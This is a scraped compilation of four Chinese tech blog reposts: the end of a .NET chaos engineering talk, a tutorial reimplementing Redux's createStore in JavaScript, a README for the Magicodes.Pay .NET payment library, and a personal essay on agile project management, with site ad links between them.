二、混沌工程簡介

1. 什麼是混沌工程?

通過受控的實驗,掌握系統運行行為的過程,稱為混沌工程。

    混沌工程的典型實踐:Chaos Monkey
     一隻搗亂的猴子,在你的系統裏面上蹦下竄,不停搗亂,直到搞掛你的系統。

    

2. 為什麼需要混沌工程?

   混沌工程可以提升整個系統的彈性。
   通過混沌實驗,可以發現系統脆弱的一面,主動發現這些問題,並解決這些問題

3. 混沌工程怎麼做?

   混沌工程的一般實施步驟:

1 選擇系統正常運行狀態下的可度量指標,作為基準的“穩定狀態” 2 混沌實驗分為實驗組和對照組,都能保持系統的“穩定狀態” 3 對實驗組注入混沌事件,如服務不可用、中間件宕機等混沌事件 4 比較實驗組和對照組“穩定狀態”的差異

   如果混沌實驗前後系統的“穩定狀態”一致,則可以認為系統應對這種混沌事件是彈性的、高可用的。
   相反的,如果打破了系統的穩定狀態,我們就找到了一個系統弱點,然後盡可能地解決它,提升系統的高可用性。

4. 實施混沌工程的推薦原則

  • 明確系統穩定運行的狀態(指標)
  • 混沌事件必須是現實世界可能發生的(合理的)
  • 在生產環境進行混沌實驗 :生產環境可以真實地反映系統的穩定性
  • 持續集成:線上應用每天都在更新,通過持續集成的方式可以不斷髮現問題、解決問題。
  • 最小化影響範圍:線上進行混沌實驗,必須可控,必須確定混沌實驗的最小化影響範圍。

   這裏大家會問:在生產環境上搞混沌實驗,能行嗎?

5. 現實中的混沌工程

  生產環境必須以穩定為前提,因此推薦O2O模式的混沌實驗:即線下演練、線上驗證
  在系統未經過大規模高可用性改造之前,建議首先進行全面的線下演練:

   

   那麼, .NET技術架構下的混沌工程怎麼做?

三、.NET混沌工程的實踐和成果分享

  我們線上系統主要用到了以下.NET技術棧和開源技術:

  • ASP.NET MVC
  • 基於ASP.NET Core的Web運行框架-WRF
  • 基於ASP.NET Web API的分佈式服務網關-SG
  • 基於.NET RPC通訊技術的分佈式微服務平台-HSF
  • 基於RabbitMQ和Kafka的消息應用中心-MAC
  • iBatis.NET & Entity Framework
  • RabbitMQ & RabbitMQ Client for .NET
  • Kafka & Confluent.Kafka
  • Redis
  • Nginx

    在上述.NET 技術架構下,我們梳理了大量的混沌工程事件:

    

    

    

     通過大量的混沌實驗,我們逐步建立了提升系統高可用性的方法論和體系:

     

     .NET技術架構下的高可用性改進-依賴治理、容錯降級     

      業務場景:
      隨着業務複雜度的上升,服務調用鏈路越來越長,鏈路上存在大量不可控的因素:      

    • 網絡抖動,導致服務異常
    • Redis、MQ、DB等中間件不可用,導致服務超時、異常
    • 依賴的服務不可用,直接影響服務調用方  

          

     如何應對:識彆強弱依賴,對弱依賴進行降級,對強依賴有限降級     

    • “用戶有感知” 是強依賴
    • “用戶無感知” 是弱依賴
    • 故障發生時,核心業務有損失的是強依賴,無損失的是弱依賴

           

      .NET技術架構下的高可用性改進-解耦/隔離       

      業務場景:
      核心業務的調用鏈路很長,整個鏈路上包含主流程和輔流程
      輔流程的重要性低,不能因為輔流程的不可用,影響了主流程。

      

       如何應對:

       

       .NET技術架構下的高可用性改進-超時治理        

       業務場景:
       對於服務超時,長時間等待會影響用戶體驗,併發大時還可能造成線程池被打爆。
       同時可能產生服務級聯反應,導致大範圍服務雪崩。

              

        應對方案:
        超時時間設置:服務剛上線時,可以根據壓測情況預估一個值;
        服務上線后再根據實際監控進行修改,比如設置99%的請求響應時間為超時時間。
        超時后的處理策略:
        如果不是核心服務,可直接超時返回失敗。
        如果是核心服務,可以設置相應的重試次數.         

        示例:
        配置服務超時時間
        設置Http請求超時時間
        設置數據庫連接超時、SQL執行超時
        代碼控制超時時間(例如:Polly的Timeout策略)

      .NET技術架構下的高可用性改進-重試補償         

        業務場景:
        實際線上應用中,假如遇到網絡抖動、發布重啟、數據庫阻塞超時等情況,都有可能引起服務調用失敗。         

        應對方案:
        通過失敗重試、異常后的補償,盡可能地保證業務可用。
        重試情況下:業務要保證冪等性、保證最終一致性。        

        示例:
        服務失敗重試策略
        消息發送、消費失敗重試、補償
        代碼層面失敗重試補償(例如:Polly的Retry策略)

      高可用改進還有很多技巧,這裏不一一詳細給大家贅述了。

      通過對系統進行全面的高可用性改進,提升了我們對線上系統的信心!

四、 展望和規劃

    2019年,我們啟動了混沌工程實踐,逐步建立了混沌工程的自有方法論和體系,通過近一年的混沌工程實踐,混沌工程文化逐漸被開發團隊所認可。目前,混沌工程已經逐步過渡到線上生產環境進行(這來自於足夠的信心和把握)。但這隻是一個起步,未來:

  • 正式的混沌工程團隊:通過多團隊配合、保障資源的持續投入
  • 覆蓋所有的關鍵核心應用:讓混沌工程深入到每個產品
  • 堅持O2O混沌工程實踐:線下演練、線上驗證,更可控
  • 混沌事件注入工具:ChaosBlade for .NET,工具讓混沌工程更高效
  • 持續的混沌實驗:持續進行、持續改進

    目標:通過混沌工程揭示問題、解決問題、形成閉環,不斷提升系統高可用性。

以上是本次China.NET Conf 2019的技術專題,分享給大家。

 

周國慶

2019/11/15

 

 

 本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理
【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

如何使用24行JavaScript代碼實現Redux

作者:Yazeed Bzadough
譯者:小維FE
原文:freecodecamp

為了保證文章的可讀性,本文採用意譯而非直譯。

90%的規約,10%的庫。
Redux是迄今為止創建的最重要的JavaScript庫之一,靈感來源於以前的藝術比如和,Redux通過引入一個包含三個簡單要點的可伸縮體繫結構,使得JavaScript函數式編程成為可能。如果你是初次接觸Redux,可以考慮先閱讀。

1. Redux大多是規約

考慮如下這個使用了Redux架構的簡單的計數器應用。如果你想跳過的話可以直接查看。

1.1 State存儲在一棵樹中

該應用程序的狀態看起來如下:

const initialState = { count: 0 };

1.2 Action聲明狀態更改

根據Redux規約,我們不直接修改(突變)狀態。

// 在Redux應用中不要做如下操作
state.count = 1;

相反,我們創建在應用中用戶可能用到的所有行為。

const actions = {
  increment: { type: 'INCREMENT' },
  decrement: { type: 'DECREMENT' }
};

1.3 Reducer解釋行為並更新狀態

在最後一個架構部分我們叫做Reduer,其作為一個純函數,它基於以前的狀態和行為返回狀態的新副本。

  • 如果increment被觸發,則增加state.count
  • 如果decrement被觸發,則減少state.count
const countReducer = (state = initialState, action) => {
  switch (action.type) {
    case actions.increment.type:
      return {
        count: state.count + 1
      };

    case actions.decrement.type:
      return {
        count: state.count - 1
      };

    default:
      return state;
  }
};

1.4 目前為止還沒有Redux

你注意到了嗎?到目前為止我們甚至還沒有接觸到Redux庫,我們僅僅只是創建了一些對象和函數,這就是為什麼我稱其為”大多是規約”,90%的Redux應用其實並不需要Redux。

2. 開始實現Redux

要使用這種架構,我們必須要將它放入到一個store當中,我們將僅僅實現一個函數:createStore。使用方式如下:

import { createStore } from 'redux'

const store = createStore(countReducer);

store.subscribe(() => {
  console.log(store.getState());
});

store.dispatch(actions.increment);
// logs { count: 1 }

store.dispatch(actions.increment);
// logs { count: 2 }

store.dispatch(actions.decrement);
// logs { count: 1 }

下面這是我們的初始化樣板代碼,我們需要一個監聽器列表listeners和reducer提供的初始化狀態。

const createStore = (yourReducer) => {
    let listeners = [];
    let currentState = yourReducer(undefined, {});
}

無論何時某人訂閱了我們的store,那麼他將會被添加到listeners數組中。這是非常重要的,因為每次當某人在派發(dispatch)一個動作(action)的時候,所有的listeners都需要在此次事件循環中被通知到。調用yourReducer函數並傳入一個undefined和一個空對象將會返回一個initialState,這個值也就是我們在調用store.getState()時的返回值。既然說到這裏了,我們就來創建這個方法。

2.1 store.getState()

這個函數用於從store中返回最新的狀態,當用戶每次點擊一個按鈕的時候我們都需要最新的狀態來更新我們的視圖。

const createStore = (yourReducer) => {
    let listeners = [];
    let currentState = yourReducer(undefined, {});
    
    return {
        getState: () => currentState
    };
}

2.2 store.dispatch()

這個函數使用一個action作為其入參,並且將這個actioncurrentState反饋給yourReducer來獲取一個新的狀態,並且dispatch方法還會通知到每一個訂閱了當前store的監聽者。

const createStore = (yourReducer) => {
  let listeners = [];
  let currentState = yourReducer(undefined, {});

  return {
    getState: () => currentState,
    dispatch: (action) => {
      currentState = yourReducer(currentState, action);

      listeners.forEach((listener) => {
        listener();
      });
    }
  };
};

2.3 store.subscribe(listener)

這個方法使得你在當store接收到一個action的時候能夠被通知到,可以在這裏調用store.getState()來獲取最新的狀態並更新UI。

const createStore = (yourReducer) => {
  let listeners = [];
  let currentState = yourReducer(undefined, {});

  return {
    getState: () => currentState,
    dispatch: (action) => {
      currentState = yourReducer(currentState, action);

      listeners.forEach((listener) => {
        listener();
      });
    },
    subscribe: (newListener) => {
      listeners.push(newListener);

      const unsubscribe = () => {
        listeners = listeners.filter((l) => l !== newListener);
      };

      return unsubscribe;
    }
  };
};

同時subscribe函數返回了另一個函數unsubscribe,這個函數允許你當不再對store的更新感興趣的時候能夠取消訂閱。

3. 整理代碼

現在我們添加按鈕的邏輯,來看看最後的源代碼:

// 簡化版createStore函數
const createStore = (yourReducer) => {
  let listeners = [];
  let currentState = yourReducer(undefined, {});

  return {
    getState: () => currentState,
    dispatch: (action) => {
      currentState = yourReducer(currentState, action);

      listeners.forEach((listener) => {
        listener();
      });
    },
    subscribe: (newListener) => {
      listeners.push(newListener);

      const unsubscribe = () => {
        listeners = listeners.filter((l) => l !== newListener);
      };

      return unsubscribe;
    }
  };
};

// Redux的架構組成部分
const initialState = { count: 0 };

const actions = {
  increment: { type: 'INCREMENT' },
  decrement: { type: 'DECREMENT' }
};

const countReducer = (state = initialState, action) => {
  switch (action.type) {
    case actions.increment.type:
      return {
        count: state.count + 1
      };

    case actions.decrement.type:
      return {
        count: state.count - 1
      };

    default:
      return state;
  }
};

const store = createStore(countReducer);

// DOM元素
const incrementButton = document.querySelector('.increment');
const decrementButton = document.querySelector('.decrement');

// 給按鈕添加點擊事件
incrementButton.addEventListener('click', () => {
  store.dispatch(actions.increment);
});

decrementButton.addEventListener('click', () => {
  store.dispatch(actions.decrement);
});

// 初始化UI視圖
const counterDisplay = document.querySelector('h1');
counterDisplay.innerHTML = parseInt(initialState.count);

// 派發動作的時候跟新UI
store.subscribe(() => {
  const state = store.getState();

  counterDisplay.innerHTML = parseInt(state.count);
});

我們再次看看最後的視圖效果:

原文:

4. 交流

本篇主要簡單了解下Redux的三個架構組成部分以及如何實現一個簡化版的Redux,對Redux能有進一步的了解,希望能和大家相互討論技術,一起交流學習。

文章已同步更新至,若覺文章尚可,歡迎前往star!

你的一個點贊,值得讓我付出更多的努力!

逆境中成長,只有不斷地學習,才能成為更好的自己,與君共勉!

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

南投搬家前需注意的眉眉角角,別等搬了再說!

Magicodes.Pay,打造開箱即用的統一支付庫,已提供ABP模塊封裝

Magicodes.Pay,打造開箱即用的統一支付庫,已提供ABP模塊封裝

簡介

Magicodes.Pay,是心萊科技團隊提供的統一支付庫,相關庫均使用.NET標準庫編寫,支持.NET Framework以及.NET Core。目前已提供Abp模塊的封裝,支持開箱即用。

Nuget

新的包

 

 

已棄用的包,不再更新

 

 

主要功能

Magicodes.Pay,是心萊科技團隊提供的統一支付庫,相關庫均使用.NET標準庫編寫,支持.NET Framework以及.NET Core。目前已提供Abp模塊的封裝,支持開箱即用。目前支持以下支付方式和功能:

  • 支付寶支付

    • APP支付

    • Wap支付

  • 支付寶國際支付

    • 支持分賬

  • 微信支付

    • 小程序支付

    • APP支付

    • 訂單查詢

    • 企業付款(提現)

    • 退款申請

    • 普通紅包

  • 通聯支付

    • 小程序支付

  • 統一支付回調處理

  • 支持日誌函數注入(不依賴支付庫)

  • 支持支付配置函數注入,以便於支持自定義配置獲取邏輯,以應用於不同的場景(比如從配置文件、用戶設置獲取配置,或者多租戶支持)

  • 針對ABP提供模塊封裝,添加模塊依賴即可立即使用。主要包括:

    • 支付渠道註冊(IPaymentRegister)

    • 支付回調邏輯處理(IPaymentCallbackAction)

    • 統一支付服務實現(IToPayService)

    • 統一支付服務封裝(見IPayAppService)

    • 支付管理器封裝(IPaymentManager),包含:

    • 交易日誌封裝,自動記錄客戶端信息以及自動異常處理和記錄

    • 僅需編寫一次回調邏輯,即可支持多個支付渠道

    • 業務參數支持更大長度(500)

開始使用

如果使用Abp相關模塊,則使用起來比較簡單,具體您可以參考相關單元測試的編寫。主要有以下步驟:

  1. 引用對應的Abp支付的Nuget包 如果僅需某個支付,僅需引用該支付的包。下面以通聯支付為例,我們需要在工程中引用此包:

  2. 添加模塊依賴 在對應工程的Abp的模塊(AbpModule)中,添加對“AbpAllinpayModule”的依賴,如:

 [DependsOn(typeof(AbpAllinpayModule))]
  1. 在DbContext中添加名為“TransactionLogs”的DbSet 整個支付過程中(無論是支付成功還是出現異常),均會記錄交易日誌。交易日誌會記錄交易過程中的一些信息,比如客戶端信息、交易參數、自定義參數以及異常信息。因此我們需要針對EF添加對TransactionLog的支持。需要在DbContext中添加的完整代碼如下所示:

public DbSet<TransactionLog> TransactionLogs { get; set; }
  1. 註冊回調邏輯 我們需要實現“IPaymentCallbackAction”接口來編寫自定義的回調邏輯。如以下示例所示:

public class TestPaymentCallbackAction : IPaymentCallbackAction
    {
        /// <summary>
        /// 業務Key
        /// </summary>
        public string Key { get; set; } = "繳費支付";

        /// <summary>
        /// 執行回調
        /// </summary>
        /// <returns></returns>
        public async Task Process(IUnitOfWorkManager unitOfWork, TransactionLog transactionLog)
        {
            var data = transactionLog.CustomData.FromJsonString<JObject>();
            //業務處理

            await Task.FromResult(0);
        }
    }

注意Key不要重複。

  1. 向容器中註冊回調邏輯

我們可以將回調邏輯寫在一個公共的程序集,然後使用以下代碼進行註冊:

 IocManager.IocContainer.Register(
                //註冊自定義支付回調邏輯
                Classes.FromAssembly(typeof(ApplicationCoreModule).GetAssembly())
                    .BasedOn<IPaymentCallbackAction>()
                    .LifestyleTransient()
                    .Configure(component => component.Named(component.Implementation.FullName))
                    .WithServiceFromInterface()
            );

除了上面的方式,我們還可以通過注入IPaymentManager對象,通過其RegisterCallbackAction方法來註冊自定義的回調邏輯。

  1. 發起支付

通過容器獲得IPayAppService,然後調用Pay方法即可。也可以自行封裝:

public async Task<object> Payment(PaymentInput input)
        {
            return await _payAppService.Pay(new PayInputBase()
            {
                Body = $"{input.Name} {input.ChargeProjectName}",
                CustomData = input.ToJsonString(),
                Key = "繳費支付",
                OpenId = input.OpenId,
                Subject = input.ChargeProjectName,
                TotalAmount = input.Amount,
                PayChannel = input.PayChannel
            });
        }

通過IPayAppService統一支付有如下好處:

  • 統一支付(無論支付寶還是微信各種端的支付,均可統一)

  • 自動記錄交易日誌以及進行相關邏輯處理

  • 自定義數據依賴交易日誌進行存儲,而不依賴支付渠道,因此支持無業務參數的支付渠道,也支持存儲更多自定義數據

非ABP集成

請參考Abp相關模塊的封裝或者歷史代碼。

官方訂閱號

關注“麥扣聊技術”訂閱號免費獲取:

  • 最新文章、教程、文檔

  • 視頻教程

  • 基礎版免費授權

  • 模板

  • 解決方案

  • 編程心得和理念

官方博客/文檔站

其他開源庫地址

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理
【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

敏捷開發:我在路上

略有耳聞

行業變化真的很快~思想更新迭代更是應接不暇。

我在最早最早聽到敏捷開發的時候是2014年,入行剛剛兩年。

猶記得當初領導引出這個話題,大家討論開來。

“咱們敏捷不起來,那是外國玩的東西”

“敏捷就是快,極限編程,到時候代碼都是坑。還得重構”

其實很多對話已經很模糊了。但是整體的氛圍就是,想玩會把自己玩死。

當時作為一顆小白菜的我~,完全聽不懂他們在講什麼。只能從字面意義去暢想。

敏捷–就是快速的意思唄,快就對了。

極限–是不是就是給你個需求你能超出極限干出來。

這太恐怖了。後面這個話題慢慢就不知不覺中煙消雲散

痛苦

對敏捷的認識,我的思想依舊停留在之前的認知。一直沒有人討論,也沒有過自己主動補充。

主要原因,周圍的人習慣了這種跨度長,按部就班的迭代方式。

即便是有人提出過異議,依舊還是寡不敵眾,重回其道。

2017年11月 到 2019年元旦,這是我感觸頗深的一段時間。

因為分組原因,起初有一個很不起眼的系統放在了我們組,然後這個系統從無到有,我們進行快速開發上線。直到我一個人維護這個系統兩年。

後面因為我還有另外一個重要的工作,使得這兩個工作項,在衝突中迭代,在痛苦中來回切換。

其中的痛苦對於沒有管理經驗的我來說真的是煉獄。

我向管理層提出了我的想法,是不是可以改變一下這種節奏?

通過深思熟慮我從.NET組轉到了php組(可以理解為也是技術棧的完全切換),就是我們說的轉語言。

但是轉過的我,依舊痛苦。需求不斷,我依舊使用C#迭代着這個內部系統。

10月份接到一個高層領導們提出很多需求,準備一個大版本迭代。必須在元旦前上線。

首先:

人不夠 — 找外包和我一起來做

時間長 — 砍掉估時的一半,加班做

資金 — 外包2人,算是增加了預算

結果可想而知:

好在上線了(元旦加了幾天班,一個外包沒來,另一個最後一天因為胃不舒服回家了)

我現在想起元旦自己一個人在一個項目群里回復着4~5個測試(系統測試、性能測試),

一個人改着bug,改完bug列表,刷新后馬上又多了幾個bug的崩潰。

php組的領導也確實幫不上忙,默默陪着我,協調資源和處理其他問題。多虧領導的陪伴,要不我真的能放棄。

這個時候,我的小孩出生也有4個多月了。

那一年的8月,也就是2018年8月,我從老東家離職。

我給我的理由是:離家遠,想早點回家看孩子。

這個理由真的很牽強。我真的感覺倦了,感覺無休止地看不到頭,感覺自己更加迷茫。

反思

我從上一家公司離職后,到現在一年多。我才慢慢體會到我所說的痛苦都是有原因的,而且完全可以避免和克服。

入職新公司,參与了一個項目,並嘗試着管理一個項目。公司有整個項目周期的管理流程。

我從流程中學習如何管理項目。經過一年多的學習和轉變,我學習着分析當初我的痛苦。

沒有項目管理經驗的我

因為我最熟悉代碼和業務,所以組織外包分配任務。但是沒有經驗和想法的我把這個項目管理得一團糟。

我應該可以更加清晰地分配任務,使得任務相對獨立。

我也可以更加詳細地拆分任務,因為我對邏輯非常熟悉,所以可以將複雜操作拆得更加詳細

我在項目中開發,無法脫身,完全可以從上層角度來提前協調資源。

我當時的技術面比較窄,無法從更高的技術角度看代項目。

我知道當時的外包很貴,領導可能出於預算,分析了任務量,確認了2個外包。

整個開發沒有層次,測試都在最後一擁而上,我們不得不在群里說著這個功能的實現細節。然後測試再去測試。

對這個項目預估不足

沒有預估到這個內部系統如此複雜的業務纏繞

沒有預估到這個系統整個迭代如此混亂,沒有節奏,沒有章法。

心態

一開始我就輸了,輸在了心態

我總是想着2年的系統沒有文檔,重構是完不成的。

我總是想着完不成也有理由,因為A,B,C

遇到困難或在極其艱難的時候,沒有正面困難的勇氣,我選擇了抱怨和唉聲嘆氣,我選擇了消極應戰。對,我的士氣確實沒有了。

如果

如果,再有如果,我使用一些項目管理的方法和在實踐中總結的方法,再次迭代這個項目,那結果會是怎樣?

如果我再負責一點,把模塊拆開,任務分細,即便是外包來做,也不會被項目嚇到?

如果我在開始前,做了詳細的項目迭代規劃,可以先交付什麼,后交付什麼,前後沒有大的關聯。測試資源可以儘早介入。

如果我在開發前,做好風險準備以及應對方案,是不是開發中有時候就不會那麼被動?

我總結就是:層次、心性、管理

為什麼是這三個詞,這也是我覺得我從一個普通程序員轉變成初級管理的一個總結。

層次:我當初壓根就沒有轉管理的這根線,所以分析問題都是從自身角度,層次可想而知。

心性:做好了轉管理的準備,心性也要做好準備,遇到棘手的問題,客戶的催促。我必須放下抱怨、冷靜分析選擇最合適的解決方案。

管理:我思想和心裏都做好了準備,我確實需要一些指導,比如老領導的幫帶,一些書籍的閱讀。從認知上再次提升

       剩下的就是在實踐中不斷打磨自己的認知和理解,總結后再嘗試。

重新定義自己

2018年8月中旬來到現在的公司,這裏我接觸了一些項目管理的流程。

我嘗試管理項目,我嘗試總結問題,我嘗試全局分析。

這一年我犯了很多錯,回過頭髮現當初的自己是多麼幼稚不堪。

還好,我在同事和領導身上,慢慢學習他們的優點和經驗。

如何管理項目、把控流程、協調資源、拆分任務

如何和上級溝通

如何和同事更好協作

如何把自己身上的任務合理分下去,同時關注帶的人的成長

比如購銷合同一個緊急項目,如何跨部門協調,如何在緊急情況下做出合適的方案並協調資源。

... ...

重新認識敏捷

2019年3月,我們部門來了一個新同事,了解到他之前公司一直是敏捷開發。

我們時不時一起討論敏捷開發等相關問題。

“我們的任務是儘早持續交付有價值的軟件,並讓用戶滿意”

這一敏捷宣言,細細品味,確實蘊藏了巨大的能量。

圍繞着這一句話,我們可以想象到很多的方面進行改進,以接近這一宣言。

用戶為中心

價值導向

持續集成

優先級

自主管理

協作溝通

以人為本

等......

我們所使用的這些方法和策略,就是在慢慢打造更高效的團隊。發揮價值。

發揮價值,然後慢慢改造流程,發揮更大的價值。

就是在一個循環往複中,螺旋上升。

起初會有不適應,因為人都是有惰性的,組織和規範都是有平衡的。

敏捷的這些思想,無時無刻地衝擊着這些人性、組織以及規範。

當在堅持實行的過程中,信任他人,成就他人,這樣慢慢激發人性的能量。團隊收穫的是能量,個人收穫的是成長。

堅持實行敏捷,是一項艱巨的任務。這需要團隊不斷磨合,不斷找到合適的相處方式,找到每個人的能力成長點,並激發它。

敏捷最終落腳的地方是人,所以如何將敏捷這些思想,灌輸給團隊。然後沿着方法論嘗試、總結、修改、再嘗試。

這樣的敏捷,我不確定是不是也是敏捷的一種。

總結

不斷實踐,不斷吸收,不斷激發,不斷優化

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

南投搬家前需注意的眉眉角角,別等搬了再說!